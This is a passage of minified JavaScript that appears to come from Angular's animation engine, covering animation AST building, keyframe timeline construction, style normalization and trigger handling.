Set,o=i||{};if(n.styles.forEach(function(t){if(_t(t)){var e=t;Object.keys(e).forEach(function(t){et(e[t]).forEach(function(t){o.hasOwnProperty(t)||r.add(t)})})}}),r.size){var a=it(r.values());e.errors.push('state("'.concat(t.name,'", ...) must define default values for all the following style substitutions: ').concat(a.join(", ")))}}return{type:0,name:t.name,style:n,options:i?{params:i}:null}}},{key:"visitTransition",value:function(t,e){e.queryCount=0,e.depCount=0;var n=ct(this,$(t.animation),e);return{type:1,matchers:ht(t.expr,e.errors),animation:n,queryCount:e.queryCount,depCount:e.depCount,options:bt(t.options)}}},{key:"visitSequence",value:function(t,e){var n=this;return{type:2,steps:t.steps.map(function(t){return ct(n,t,e)}),options:bt(t.options)}}},{key:"visitGroup",value:function(t,e){var n=this,i=e.currentTime,r=0,o=t.steps.map(function(t){e.currentTime=i;var o=ct(n,t,e);return r=Math.max(r,e.currentTime),o});return e.currentTime=r,{type:3,steps:o,options:bt(t.options)}}},{key:"visitAnimate",value:function(t,e){var n=function(t,e){var n=null;if(t.hasOwnProperty("duration"))n=t;else if("number"==typeof t)return kt(z(t,e).duration,0,"");var i=t;if(i.split(/\s+/).some(function(t){return"{"==t.charAt(0)&&"{"==t.charAt(1)})){var r=kt(0,0,"");return r.dynamic=!0,r.strValue=i,r}return kt((n=n||z(i,e)).duration,n.delay,n.easing)}(t.timings,e.errors);e.currentAnimateTimings=n;var i,r=t.styles?t.styles:(0,c.oB)({});if(5==r.type)i=this.visitKeyframes(r,e);else{var o=t.styles,a=!1;if(!o){a=!0;var s={};n.easing&&(s.easing=n.easing),o=(0,c.oB)(s)}e.currentTime+=n.duration+n.delay;var u=this.visitStyle(o,e);u.isEmptyStep=a,i=u}return e.currentAnimateTimings=null,{type:4,timings:n,style:i,options:null}}},{key:"visitStyle",value:function(t,e){var n=this._makeStyleAst(t,e);return this._validateStyleAst(n,e),n}},{key:"_makeStyleAst",value:function(t,e){var n=[];Array.isArray(t.styles)?t.styles.forEach(function(t){"string"==typeof t?t==c.l3?n.push(t):e.errors.push("The provided style string value ".concat(t," is not allowed.")):n.push(t)}):n.push(t.styles);var i=!1,r=null;return n.forEach(function(t){if(_t(t)){var e=t,n=e.easing;if(n&&(r=n,delete e.easing),!i)for(var o in e)if(e[o].toString().indexOf("{{")>=0){i=!0;break}}}),{type:6,styles:n,easing:r,offset:t.offset,containsDynamicStyles:i,options:null}}},{key:"_validateStyleAst",value:function(t,e){var n=this,i=e.currentAnimateTimings,r=e.currentTime,o=e.currentTime;i&&o>0&&(o-=i.duration+i.delay),t.styles.forEach(function(t){"string"!=typeof t&&Object.keys(t).forEach(function(i){if(n._driver.validateStyleProperty(i)){var a=e.collectedStyles[e.currentQuerySelector],s=a[i],u=!0;s&&(o!=r&&o>=s.startTime&&r<=s.endTime&&(e.errors.push('The CSS property "'.concat(i,'" that exists between the times of "').concat(s.startTime,'ms" and "').concat(s.endTime,'ms" is also being animated in a parallel animation between the times of "').concat(o,'ms" and "').concat(r,'ms"')),u=!1),o=s.startTime),u&&(a[i]={startTime:o,endTime:r}),e.options&&function(t,e,n){var i=e.params||{},r=et(t);r.length&&r.forEach(function(t){i.hasOwnProperty(t)||n.push("Unable to resolve the local animation param ".concat(t," in the given list of values"))})}(t[i],e.options,e.errors)}else e.errors.push('The provided animation property "'.concat(i,'" is not a supported CSS property for animations'))})})}},{key:"visitKeyframes",value:function(t,e){var n=this,i={type:5,styles:[],options:null};if(!e.currentAnimateTimings)return e.errors.push("keyframes() must be placed inside of a call to animate()"),i;var r=0,o=[],a=!1,s=!1,u=0,c=t.steps.map(function(t){var i=n._makeStyleAst(t,e),c=null!=i.offset?i.offset:function(t){if("string"==typeof t)return null;var e=null;if(Array.isArray(t))t.forEach(function(t){if(_t(t)&&t.hasOwnProperty("offset")){var n=t;e=parseFloat(n.offset),delete n.offset}});else if(_t(t)&&t.hasOwnProperty("offset")){var n=t;e=parseFloat(n.offset),delete n.offset}return e}(i.styles),l=0;return null!=c&&(r++,l=i.offset=c),s=s||l<0||l>1,a=a||l<u,u=l,o.push(l),i});s&&e.errors.push("Please ensure that all keyframe offsets are between 0 and 1"),a&&e.errors.push("Please ensure that all keyframe offsets are in order");var l=t.steps.length,h=0;r>0&&r<l?e.errors.push("Not all style() steps within the declared keyframes() contain offsets"):0==r&&(h=1/(l-1));var f=l-1,d=e.currentTime,p=e.currentAnimateTimings,v=p.duration;return c.forEach(function(t,r){var a=h>0?r==f?1:h*r:o[r],s=a*v;e.currentTime=d+p.delay+s,p.duration=s,n._validateStyleAst(t,e),t.offset=a,i.styles.push(t)}),i}},{key:"visitReference",value:function(t,e){return{type:8,animation:ct(this,$(t.animation),e),options:bt(t.options)}}},{key:"visitAnimateChild",value:function(t,e){return e.depCount++,{type:9,options:bt(t.options)}}},{key:"visitAnimateRef",value:function(t,e){return{type:10,animation:this.visitReference(t.animation,e),options:bt(t.options)}}},{key:"visitQuery",value:function(t,e){var n=e.currentQuerySelector,i=t.options||{};e.queryCount++,e.currentQuery=t;var r=o(function(t){var e=!!t.split(/\s*,\s*/).find(function(t){return":self"==t});return e&&(t=t.replace(vt,"")),[t=t.replace(/@\*/g,H).replace(/@\w+/g,function(t){return H+"-"+t.substr(1)}).replace(/:animating/g,G),e]}(t.selector),2),a=r[0],s=r[1];e.currentQuerySelector=n.length?n+" "+a:a,w(e.collectedStyles,e.currentQuerySelector,{});var u=ct(this,$(t.animation),e);return e.currentQuery=null,e.currentQuerySelector=n,{type:11,selector:a,limit:i.limit||0,optional:!!i.optional,includeSelf:s,animation:u,originalSelector:t.selector,options:bt(t.options)}}},{key:"visitStagger",value:function(t,e){e.currentQuery||e.errors.push("stagger() can only be used inside of query()");var n="full"===t.timings?{duration:0,delay:0,easing:"full"}:z(t.timings,e.errors,!0);return{type:12,animation:ct(this,$(t.animation),e),timings:n,options:null}}}]),t}(),yt=function t(e){_(this,t),this.errors=e,this.queryCount=0,this.depCount=0,this.currentTransition=null,this.currentQuery=null,this.currentQuerySelector=null,this.currentAnimateTimings=null,this.currentTime=0,this.collectedStyles={},this.options=null};function _t(t){return!Array.isArray(t)&&"object"==typeof t}function bt(t){return t?(t=Z(t)).params&&(t.params=function(t){return t?Z(t):null}(t.params)):t={},t}function kt(t,e,n){return{duration:t,delay:e,easing:n}}function wt(t,e,n,i,r,o){var a=arguments.length>6&&void 0!==arguments[6]?arguments[6]:null,s=arguments.length>7&&void 0!==arguments[7]&&arguments[7];return{type:1,element:t,keyframes:e,preStyleProps:n,postStyleProps:i,duration:r,delay:o,totalTime:r+o,easing:a,subTimeline:s}}var Ct=function(){function t(){_(this,t),this._map=new Map}return y(t,[{key:"consume",value:function(t){var e=this._map.get(t);return e?this._map.delete(t):e=[],e}},{key:"append",value:function(t,e){var n,r=this._map.get(t);r||this._map.set(t,r=[]),(n=r).push.apply(n,i(e))}},{key:"has",value:function(t){return this._map.has(t)}},{key:"clear",value:function(){this._map.clear()}}]),t}(),xt=new RegExp(":enter","g"),St=new RegExp(":leave","g");function Et(t,e,n,i,r){var o=arguments.length>5&&void 0!==arguments[5]?arguments[5]:{},a=arguments.length>6&&void 0!==arguments[6]?arguments[6]:{},s=arguments.length>7?arguments[7]:void 0,u=arguments.length>8?arguments[8]:void 0,c=arguments.length>9&&void 0!==arguments[9]?arguments[9]:[];return(new At).buildKeyframes(t,e,n,i,r,o,a,s,u,c)}var At=function(){function t(){_(this,t)}return y(t,[{key:"buildKeyframes",value:function(t,e,n,i,r,o,a,s,u){var c=arguments.length>9&&void 0!==arguments[9]?arguments[9]:[];u=u||new Ct;var l=new It(t,e,u,i,r,c,[]);l.options=s,l.currentTimeline.setStyles([o],null,l.errors,s),ct(this,n,l);var h=l.timelines.filter(function(t){return t.containsAnimation()});if(h.length&&Object.keys(a).length){var f=h[h.length-1];f.allowOnlyTimelineStyles()||f.setStyles([a],null,l.errors,s)}return h.length?h.map(function(t){return t.buildKeyframes()}):[wt(e,[],[],[],0,0,"",!1)]}},{key:"visitTrigger",value:function(t,e){}},{key:"visitState",value:function(t,e){}},{key:"visitTransition",value:function(t,e){}},{key:"visitAnimateChild",value:function(t,e){var n=e.subInstructions.consume(e.element);if(n){var i=e.createSubContext(t.options),r=e.currentTimeline.currentTime,o=this._visitSubInstructions(n,i,i.options);r!=o&&e.transformIntoNewTimeline(o)}e.previousNode=t}},{key:"visitAnimateRef",value:function(t,e){var n=e.createSubContext(t.options);n.transformIntoNewTimeline(),this.visitReference(t.animation,n),e.transformIntoNewTimeline(n.currentTimeline.currentTime),e.previousNode=t}},{key:"_visitSubInstructions",value:function(t,e,n){var i=e.currentTimeline.currentTime,r=null!=n.duration?Y(n.duration):null,o=null!=n.delay?Y(n.delay):null;return 0!==r&&t.forEach(function(t){var n=e.appendInstructionToTimeline(t,r,o);i=Math.max(i,n.duration+n.delay)}),i}},{key:"visitReference",value:function(t,e){e.updateOptions(t.options,!0),ct(this,t.animation,e),e.previousNode=t}},{key:"visitSequence",value:function(t,e){var n=this,i=e.subContextCount,r=e,o=t.options;if(o&&(o.params||o.delay)&&((r=e.createSubContext(o)).transformIntoNewTimeline(),null!=o.delay)){6==r.previousNode.type&&(r.currentTimeline.snapshotCurrentStyles(),r.previousNode=Tt);var a=Y(o.delay);r.delayNextStep(a)}t.steps.length&&(t.steps.forEach(function(t){return ct(n,t,r)}),r.currentTimeline.applyStylesToKeyframe(),r.subContextCount>i&&r.transformIntoNewTimeline()),e.previousNode=t}},{key:"visitGroup",value:function(t,e){var n=this,i=[],r=e.currentTimeline.currentTime,o=t.options&&t.options.delay?Y(t.options.delay):0;t.steps.forEach(function(a){var s=e.createSubContext(t.options);o&&s.delayNextStep(o),ct(n,a,s),r=Math.max(r,s.currentTimeline.currentTime),i.push(s.currentTimeline)}),i.forEach(function(t){return e.currentTimeline.mergeTimelineCollectedStyles(t)}),e.transformIntoNewTimeline(r),e.previousNode=t}},{key:"_visitTiming",value:function(t,e){if(t.dynamic){var n=t.strValue;return z(e.params?nt(n,e.params,e.errors):n,e.errors)}return{duration:t.duration,delay:t.delay,easing:t.easing}}},{key:"visitAnimate",value:function(t,e){var n=e.currentAnimateTimings=this._visitTiming(t.timings,e),i=e.currentTimeline;n.delay&&(e.incrementTime(n.delay),i.snapshotCurrentStyles());var r=t.style;5==r.type?this.visitKeyframes(r,e):(e.incrementTime(n.duration),this.visitStyle(r,e),i.applyStylesToKeyframe()),e.currentAnimateTimings=null,e.previousNode=t}},{key:"visitStyle",value:function(t,e){var n=e.currentTimeline,i=e.currentAnimateTimings;!i&&n.getCurrentStyleProperties().length&&n.forwardFrame();var r=i&&i.easing||t.easing;t.isEmptyStep?n.applyEmptyStep(r):n.setStyles(t.styles,r,e.errors,e.options),e.previousNode=t}},{key:"visitKeyframes",value:function(t,e){var n=e.currentAnimateTimings,i=e.currentTimeline.duration,r=n.duration,o=e.createSubContext().currentTimeline;o.easing=n.easing,t.styles.forEach(function(t){o.forwardTime((t.offset||0)*r),o.setStyles(t.styles,t.easing,e.errors,e.options),o.applyStylesToKeyframe()}),e.currentTimeline.mergeTimelineCollectedStyles(o),e.transformIntoNewTimeline(i+r),e.previousNode=t}},{key:"visitQuery",value:function(t,e){var n=this,i=e.currentTimeline.currentTime,r=t.options||{},o=r.delay?Y(r.delay):0;o&&(6===e.previousNode.type||0==i&&e.currentTimeline.getCurrentStyleProperties().length)&&(e.currentTimeline.snapshotCurrentStyles(),e.previousNode=Tt);var a=i,s=e.invokeQuery(t.selector,t.originalSelector,t.limit,t.includeSelf,!!r.optional,e.errors);e.currentQueryTotal=s.length;var u=null;s.forEach(function(i,r){e.currentQueryIndex=r;var s=e.createSubContext(t.options,i);o&&s.delayNextStep(o),i===e.element&&(u=s.currentTimeline),ct(n,t.animation,s),s.currentTimeline.applyStylesToKeyframe(),a=Math.max(a,s.currentTimeline.currentTime)}),e.currentQueryIndex=0,e.currentQueryTotal=0,e.transformIntoNewTimeline(a),u&&(e.currentTimeline.mergeTimelineCollectedStyles(u),e.currentTimeline.snapshotCurrentStyles()),e.previousNode=t}},{key:"visitStagger",value:function(t,e){var n=e.parentContext,i=e.currentTimeline,r=t.timings,o=Math.abs(r.duration),a=o*(e.currentQueryTotal-1),s=o*e.currentQueryIndex;switch(r.duration<0?"reverse":r.easing){case"reverse":s=a-s;break;case"full":s=n.currentStaggerTime}var u=e.currentTimeline;s&&u.delayNextStep(s);var c=u.currentTime;ct(this,t.animation,e),e.previousNode=t,n.currentStaggerTime=i.currentTime-c+(i.startTime-n.currentTimeline.startTime)}}]),t}(),Tt={},It=function(){function t(e,n,i,r,o,a,s,u){_(this,t),this._driver=e,this.element=n,this.subInstructions=i,this._enterClassName=r,this._leaveClassName=o,this.errors=a,this.timelines=s,this.parentContext=null,this.currentAnimateTimings=null,this.previousNode=Tt,this.subContextCount=0,this.options={},this.currentQueryIndex=0,this.currentQueryTotal=0,this.currentStaggerTime=0,this.currentTimeline=u||new Ot(this._driver,n,0),s.push(this.currentTimeline)}return y(t,[{key:"params",get:function(){return this.options.params}},{key:"updateOptions",value:function(t,e){var n=this;if(t){var i=t,r=this.options;null!=i.duration&&(r.duration=Y(i.duration)),null!=i.delay&&(r.delay=Y(i.delay));var o=i.params;if(o){var a=r.params;a||(a=this.options.params={}),Object.keys(o).forEach(function(t){(!e||!a.hasOwnProperty(t))&&(a[t]=nt(o[t],a,n.errors))})}}}},{key:"_copyOptions",value:function(){var t={};if(this.options){var e=this.options.params;if(e){var n=t.params={};Object.keys(e).forEach(function(t){n[t]=e[t]})}}return t}},{key:"createSubContext",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,n=arguments.length>1?arguments[1]:void 0,i=arguments.length>2?arguments[2]:void 0,r=n||this.element,o=new t(this._driver,r,this.subInstructions,this._enterClassName,this._leaveClassName,this.errors,this.timelines,this.currentTimeline.fork(r,i||0));return o.previousNode=this.previousNode,o.currentAnimateTimings=this.currentAnimateTimings,o.options=this._copyOptions(),o.updateOptions(e),o.currentQueryIndex=this.currentQueryIndex,o.currentQueryTotal=this.currentQueryTotal,o.parentContext=this,this.subContextCount++,o}},{key:"transformIntoNewTimeline",value:function(t){return this.previousNode=Tt,this.currentTimeline=this.currentTimeline.fork(this.element,t),this.timelines.push(this.currentTimeline),this.currentTimeline}},{key:"appendInstructionToTimeline",value:function(t,e,n){var i={duration:null!=e?e:t.duration,delay:this.currentTimeline.currentTime+(null!=n?n:0)+t.delay,easing:""},r=new Rt(this._driver,t.element,t.keyframes,t.preStyleProps,t.postStyleProps,i,t.stretchStartingKeyframe);return this.timelines.push(r),i}},{key:"incrementTime",value:function(t){this.currentTimeline.forwardTime(this.currentTimeline.duration+t)}},{key:"delayNextStep",value:function(t){t>0&&this.currentTimeline.delayNextStep(t)}},{key:"invokeQuery",value:function(t,e,n,r,o,a){var s=[];if(r&&s.push(this.element),t.length>0){t=(t=t.replace(xt,"."+this._enterClassName)).replace(St,"."+this._leaveClassName);var u=this._driver.query(this.element,t,1!=n);0!==n&&(u=n<0?u.slice(u.length+n,u.length):u.slice(0,n)),s.push.apply(s,i(u))}return!o&&0==s.length&&a.push('`query("'.concat(e,'")` returned zero elements. (Use `query("').concat(e,'", { optional: true })` if you wish to allow this.)')),s}}]),t}(),Ot=function(){function t(e,n,i,r){_(this,t),this._driver=e,this.element=n,this.startTime=i,this._elementTimelineStylesLookup=r,this.duration=0,this._previousKeyframe={},this._currentKeyframe={},this._keyframes=new Map,this._styleSummary={},this._pendingStyles={},this._backFill={},this._currentEmptyStepKeyframe=null,this._elementTimelineStylesLookup||(this._elementTimelineStylesLookup=new Map),this._localTimelineStyles=Object.create(this._backFill,{}),this._globalTimelineStyles=this._elementTimelineStylesLookup.get(n),this._globalTimelineStyles||(this._globalTimelineStyles=this._localTimelineStyles,this._elementTimelineStylesLookup.set(n,this._localTimelineStyles)),this._loadKeyframe()}return y(t,[{key:"containsAnimation",value:function(){switch(this._keyframes.size){case 0:return!1;case 1:return this.getCurrentStyleProperties().length>0;default:return!0}}},{key:"getCurrentStyleProperties",value:function(){return Object.keys(this._currentKeyframe)}},{key:"currentTime",get:function(){return this.startTime+this.duration}},{key:"delayNextStep",value:function(t){var e=1==this._keyframes.size&&Object.keys(this._pendingStyles).length;this.duration||e?(this.forwardTime(this.currentTime+t),e&&this.snapshotCurrentStyles()):this.startTime+=t}},{key:"fork",value:function(e,n){return this.applyStylesToKeyframe(),new t(this._driver,e,n||this.currentTime,this._elementTimelineStylesLookup)}},{key:"_loadKeyframe",value:function(){this._currentKeyframe&&(this._previousKeyframe=this._currentKeyframe),this._currentKeyframe=this._keyframes.get(this.duration),this._currentKeyframe||(this._currentKeyframe=Object.create(this._backFill,{}),this._keyframes.set(this.duration,this._currentKeyframe))}},{key:"forwardFrame",value:function(){this.duration+=1,this._loadKeyframe()}},{key:"forwardTime",value:function(t){this.applyStylesToKeyframe(),this.duration=t,this._loadKeyframe()}},{key:"_updateStyle",value:function(t,e){this._localTimelineStyles[t]=e,this._globalTimelineStyles[t]=e,this._styleSummary[t]={time:this.currentTime,value:e}}},{key:"allowOnlyTimelineStyles",value:function(){return this._currentEmptyStepKeyframe!==this._currentKeyframe}},{key:"applyEmptyStep",value:function(t){var e=this;t&&(this._previousKeyframe.easing=t),Object.keys(this._globalTimelineStyles).forEach(function(t){e._backFill[t]=e._globalTimelineStyles[t]||c.l3,e._currentKeyframe[t]=c.l3}),this._currentEmptyStepKeyframe=this._currentKeyframe}},{key:"setStyles",value:function(t,e,n,i){var r=this;e&&(this._previousKeyframe.easing=e);var o=i&&i.params||{},a=function(t,e){var n,i={};return t.forEach(function(t){"*"===t?(n=n||Object.keys(e)).forEach(function(t){i[t]=c.l3}):W(t,!1,i)}),i}(t,this._globalTimelineStyles);Object.keys(a).forEach(function(t){var e=nt(a[t],o,n);r._pendingStyles[t]=e,r._localTimelineStyles.hasOwnProperty(t)||(r._backFill[t]=r._globalTimelineStyles.hasOwnProperty(t)?r._globalTimelineStyles[t]:c.l3),r._updateStyle(t,e)})}},{key:"applyStylesToKeyframe",value:function(){var t=this,e=this._pendingStyles,n=Object.keys(e);0!=n.length&&(this._pendingStyles={},n.forEach(function(n){t._currentKeyframe[n]=e[n]}),Object.keys(this._localTimelineStyles).forEach(function(e){t._currentKeyframe.hasOwnProperty(e)||(t._currentKeyframe[e]=t._localTimelineStyles[e])}))}},{key:"snapshotCurrentStyles",value:function(){var t=this;Object.keys(this._localTimelineStyles).forEach(function(e){var n=t._localTimelineStyles[e];t._pendingStyles[e]=n,t._updateStyle(e,n)})}},{key:"getFinalKeyframe",value:function(){return this._keyframes.get(this.duration)}},{key:"properties",get:function(){var t=[];for(var e in this._currentKeyframe)t.push(e);return t}},{key:"mergeTimelineCollectedStyles",value:function(t){var e=this;Object.keys(t._styleSummary).forEach(function(n){var i=e._styleSummary[n],r=t._styleSummary[n];(!i||r.time>i.time)&&e._updateStyle(n,r.value)})}},{key:"buildKeyframes",value:function(){var t=this;this.applyStylesToKeyframe();var e=new Set,n=new Set,i=1===this._keyframes.size&&0===this.duration,r=[];this._keyframes.forEach(function(o,a){var s=W(o,!0);Object.keys(s).forEach(function(t){var i=s[t];i==c.k1?e.add(t):i==c.l3&&n.add(t)}),i||(s.offset=a/t.duration),r.push(s)});var o=e.size?it(e.values()):[],a=n.size?it(n.values()):[];if(i){var s=r[0],u=Z(s);s.offset=0,u.offset=1,r=[s,u]}return wt(this.element,r,o,a,this.duration,this.startTime,this.easing,!1)}}]),t}(),Rt=function(t){l(n,t);var e=f(n);function n(t,i,r,o,a,s){var u,c=arguments.length>6&&void 0!==arguments[6]&&arguments[6];return _(this,n),(u=e.call(this,t,i,s.delay)).keyframes=r,u.preStyleProps=o,u.postStyleProps=a,u._stretchStartingKeyframe=c,u.timings={duration:s.duration,delay:s.delay,easing:s.easing},u}return y(n,[{key:"containsAnimation",value:function(){return this.keyframes.length>1}},{key:"buildKeyframes",value:function(){var t=this.keyframes,e=this.timings,n=e.delay,i=e.duration,r=e.easing;if(this._stretchStartingKeyframe&&n){var o=[],a=i+n,s=n/a,u=W(t[0],!1);u.offset=0,o.push(u);var c=W(t[0],!1);c.offset=Pt(s),o.push(c);for(var l=t.length-1,h=1;h<=l;h++){var f=W(t[h],!1);f.offset=Pt((n+f.offset*i)/a),o.push(f)}i=a,n=0,r="",t=o}return wt(this.element,t,this.preStyleProps,this.postStyleProps,i,n,r,!0)}}]),n}(Ot);function Pt(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:3,n=Math.pow(10,e-1);return Math.round(t*n)/n}var Nt=function t(){_(this,t)},Dt=function(t){l(n,t);var e=f(n);function n(){return _(this,n),e.apply(this,arguments)}return y(n,[{key:"normalizePropertyName",value:function(t,e){return ot(t)}},{key:"normalizeStyleValue",value:function(t,e,n,i){var r="",o=n.toString().trim();if(Lt[e]&&0!==n&&"0"!==n)if("number"==typeof n)r="px";else{var a=n.match(/^[+-]?[\d\.]+([a-z]*)$/);a&&0==a[1].length&&i.push("Please provide a CSS unit value for ".concat(t,":").concat(n))}return o+r}}]),n}(Nt),Lt=function(t){var e={};return t.forEach(function(t){return e[t]=!0}),e}("width,height,minWidth,minHeight,maxWidth,maxHeight,left,top,bottom,right,fontSize,outlineWidth,outlineOffset,paddingTop,paddingLeft,paddingBottom,paddingRight,marginTop,marginLeft,marginBottom,marginRight,borderRadius,borderWidth,borderTopWidth,borderLeftWidth,borderRightWidth,borderBottomWidth,textIndent,perspective".split(","));function Mt(t,e,n,i,r,o,a,s,u,c,l,h,f){return{type:0,element:t,triggerName:e,isRemovalTransition:r,fromState:n,fromStyles:o,toState:i,toStyles:a,timelines:s,queriedElements:u,preStyleProps:c,postStyleProps:l,totalTime:h,errors:f}}var Ft={},Ut=function(){function t(e,n,i){_(this,t),this._triggerName=e,this.ast=n,this._stateStyles=i}return y(t,[{key:"match",value:function(t,e,n,i){return function(t,e,n,i,r){return t.some(function(t){return t(e,n,i,r)})}(this.ast.matchers,t,e,n,i)}},{key:"buildStyles",value:function(t,e,n){var i=this._stateStyles["*"],r=this._stateStyles[t],o=i?i.buildStyles(e,n):{};return r?r.buildStyles(e,n):o}},{key:"build",value:function(t,e,n,i,r,o,a,s,u,c){var l=[],h=this.ast.options&&this.ast.options.params||Ft,f=this.buildStyles(n,a&&a.params||Ft,l),d=s&&s.params||Ft,p=this.buildStyles(i,d,l),v=new Set,m=new Map,g=new Map,y="void"===i,_={params:Object.assign(Object.assign({},h),d)},b=c?[]:Et(t,e,this.ast.animation,r,o,f,p,_,u,l),k=0;if(b.forEach(function(t){k=Math.max(t.duration+t.delay,k)}),l.length)return Mt(e,this._triggerName,n,i,y,f,p,[],[],m,g,k,l);b.forEach(function(t){var n=t.element,i=w(m,n,{});t.preStyleProps.forEach(function(t){return i[t]=!0});var r=w(g,n,{});t.postStyleProps.forEach(function(t){return r[t]=!0}),n!==e&&v.add(n)});var C=it(v.values());return Mt(e,this._triggerName,n,i,y,f,p,b,C,m,g,k)}}]),t}(),Bt=function(){function t(e,n,i){_(this,t),this.styles=e,this.defaultParams=n,this.normalizer=i}return y(t,[{key:"buildStyles",value:function(t,e){var n=this,i={},r=Z(this.defaultParams);return Object.keys(t).forEach(function(e){var n=t[e];null!=n&&(r[e]=n)}),this.styles.styles.forEach(function(t){if("string"!=typeof t){var o=t;Object.keys(o).forEach(function(t){var a=o[t];a.length>1&&(a=nt(a,r,e));var s=n.normalizer.normalizePropertyName(t,e);a=n.normalizer.normalizeStyleValue(t,s,a,e),i[s]=a})}}),i}}]),t}(),jt=function(){function t(e,n,i){var r=this;_(this,t),this.name=e,this.ast=n,this._normalizer=i,this.transitionFactories=[],this.states={},n.states.forEach(function(t){r.states[t.name]=new Bt(t.style,t.options&&t.options.params||{},i)}),Ht(this.states,"true","1"),Ht(this.states,"false","0"),n.transitions.forEach(function(t){r.transitionFactories.push(new Ut(e,t,r.states))}),this.fallbackTransition=function(t,e,n){return new Ut(t,{type:1,animation:{type:2,steps:[],options:null},matchers:[function(t,e){return!0}],options:null,queryCount:0,depCount:0},e)}(e,this.states)}return y(t,[{key:"containsQueries",get:function(){return this.ast.queryCount>0}},{key:"matchTransition",value:function(t,e,n,i){return this.transitionFactories.find(function(r){return r.match(t,e,n,i)})||null}},{key:"matchStyles",value:function(t,e,n){return this.fallbackTransition.buildStyles(t,e,n)}}]),t}();function Ht(t,e,n){t.hasOwnProperty(e)?t.hasOwnProperty(n)||(t[n]=t[e]):t.hasOwnProperty(n)&&(t[e]=t[n])}var Vt=new Ct,Gt=function(){function t(e,n,i){_(this,t),this.bodyNode=e,this._driver=n,this._normalizer=i,this._animations={},this._playersById={},this.players=[]}return y(t,[{key:"register",value:function(t,e){var n=[],i=mt(this._driver,e,n);if(n.length)throw new Error("Unable to build the animation due to the following errors: ".concat(n.join("\n")));this._animations[t]=i}},{key:"_buildPlayer",value:function(t,e,n){var i=t.element,r=v(0,this._normalizer,0,t.keyframes,e,n);return this._driver.animate(i,r,t.duration,t.delay,t.easing,[],!0)}},{key:"create",value:function(t,e){var n,i=this,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},o=[],a=this._animations[t],s=new Map;if(a?(n=Et(this._driver,e,a,U,B,{},{},r,Vt,o)).forEach(function(t){var e=w(s,t.element,{});t.postStyleProps.forEach(function(t){return e[t]=null})}):(o.push("The requested animation doesn't exist or has already been destroyed"),n=[]),o.length)throw new Error("Unable to create the animation due to the following errors: ".concat(o.join("\n")));s.forEach(function(t,e){Object.keys(t).forEach(function(n){t[n]=i._driver.computeStyle(e,n,c.l3)})});var u=p(n.map(function(t){var e=s.get(t.element);return i._buildPlayer(t,{},e)}));return this._playersById[t]=u,u.onDestroy(function(){return i.destroy(t)}),this.players.push(u),u}},{key:"destroy",value:function(t){var e=this._getPlayer(t);e.destroy(),delete this._playersById[t];var n=this.players.indexOf(e);n>=0&&this.players.splice(n,1)}},{key:"_getPlayer",value:function(t){var e=this._playersById[t];if(!e)throw new Error("Unable to find the timeline player referenced by ".concat(t));return e}},{key:"listen",value:function(t,e,n,i){var r=k(e,"","","");return g(this._getPlayer(t),n,r,i),function(){}}},{key:"command",value:function(t,e,n,i){if("register"!=n)if("create"!=n){var r=this._getPlayer(t);switch(n){case"play":r.play();break;case"pause":r.pause();break;case"reset":r.reset();break;case"restart":r.restart();break;case"finish":r.finish();break;case"init":r.init();break;case"setPosition":r.setPosition(parseFloat(i[0]));break;case"destroy":this.destroy(t)}}else this.create(t,e,i[0]||{});else this.register(t,i[0])}}]),t}(),Yt="ng-animate-queued",qt="ng-animate-disabled",zt=".ng-animate-disabled",Zt=[],Wt={namespaceId:"",setForRemoval:!1,setForMove:!1,hasAnimation:!1,removedBeforeQueried:!1},Jt={namespaceId:"",setForMove:!1,setForRemoval:!1,hasAnimation:!1,removedBeforeQueried:!0},Qt="__ng_removed",Kt=function(){function t(e){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";_(this,t),this.namespaceId=n;var i,r=e&&e.hasOwnProperty("value");if(this.value=null!=(i=r?e.value:e)?i:null,r){var o=Z(e);delete o.value,this.options=o}else this.options={};this.options.params||(this.options.params={})}return y(t,[{key:"params",get:function(){return this.options.params}},{key:"absorbOptions",value:function(t){var e=t.params;if(e){var n=this.options.params;Object.keys(e).forEach(function(t){null==n[t]&&(n[t]=e[t])})}}}]),t}(),Xt="void",$t=new Kt(Xt),te=function(){function t(e,n,i){_(this,t),this.id=e,this.hostElement=n,this._engine=i,this.players=[],this._triggers={},this._queue=[],this._elementListeners=new Map,this._hostClassName="ng-tns-"+e,ue(n,this._hostClassName)}return y(t,[{key:"listen",value:function(t,e,n,i){var r,o=this;if(!this._triggers.hasOwnProperty(e))throw new Error('Unable to listen on the animation trigger event "'.concat(n,'" because the animation trigger "').concat(e,"\" doesn't exist!"));if(null==n||0==n.length)throw new Error('Unable to listen on the animation trigger "'.concat(e,'" because the provided event is undefined!'));if("start"!=(r=n)&&"done"!=r)throw new Error('The provided animation trigger event "'.concat(n,'" for the animation trigger "').concat(e,'" is not supported!'));var a=w(this._elementListeners,t,[]),s={name:e,phase:n,callback:i};a.push(s);var u=w(this._engine.statesByElement,t,{});return u.hasOwnProperty(e)||(ue(t,j),ue(t,j+"-"+e),u[e]=$t),function(){o._engine.afterFlush(function(){var t=a.indexOf(s);t>=0&&a.splice(t,1),o._triggers[e]||delete u[e]})}}},{key:"register",value:function(t,e){return!this._triggers[t]&&(this._triggers[t]=e,!0)}},{key:"_getTrigger",value:function(t){var e=this._triggers[t];if(!e)throw new Error('The provided animation trigger "'.concat(t,'" has not been registered!'));return e}},{key:"trigger",value:function(t,e,n){var i=this,r=!(arguments.length>3&&void 0!==arguments[3])||arguments[3],o=this._getTrigger(e),a=new ne(this.id,e,t),s=this._engine.statesByElement.get(t);s||(ue(t,j),ue(t,j+"-"+e),this._engine.statesByElement.set(t,s={}));var u=s[e],c=new Kt(n,this.id);if(!(n&&n.hasOwnProperty("value"))&&u&&c.absorbOptions(u.options),s[e]=c,u||(u=$t),c.value===Xt||u.value!==c.value){var l=w(this._engine.playersByElement,t,[]);l.forEach(function(t){t.namespaceId==i.id&&t.triggerName==e&&t.queued&&t.destroy()});var h=o.matchTransition(u.value,c.value,t,c.params),f=!1;if(!h){if(!r)return;h=o.fallbackTransition,f=!0}return this._engine.totalQueuedPlayers++,this._queue.push({element:t,triggerName:e,transition:h,fromState:u,toState:c,player:a,isFallbackTransition:f}),f||(ue(t,Yt),a.onStart(function(){ce(t,Yt)})),a.onDone(function(){var e=i.players.indexOf(a);e>=0&&i.players.splice(e,1);var n=i._engine.playersByElement.get(t);if(n){var 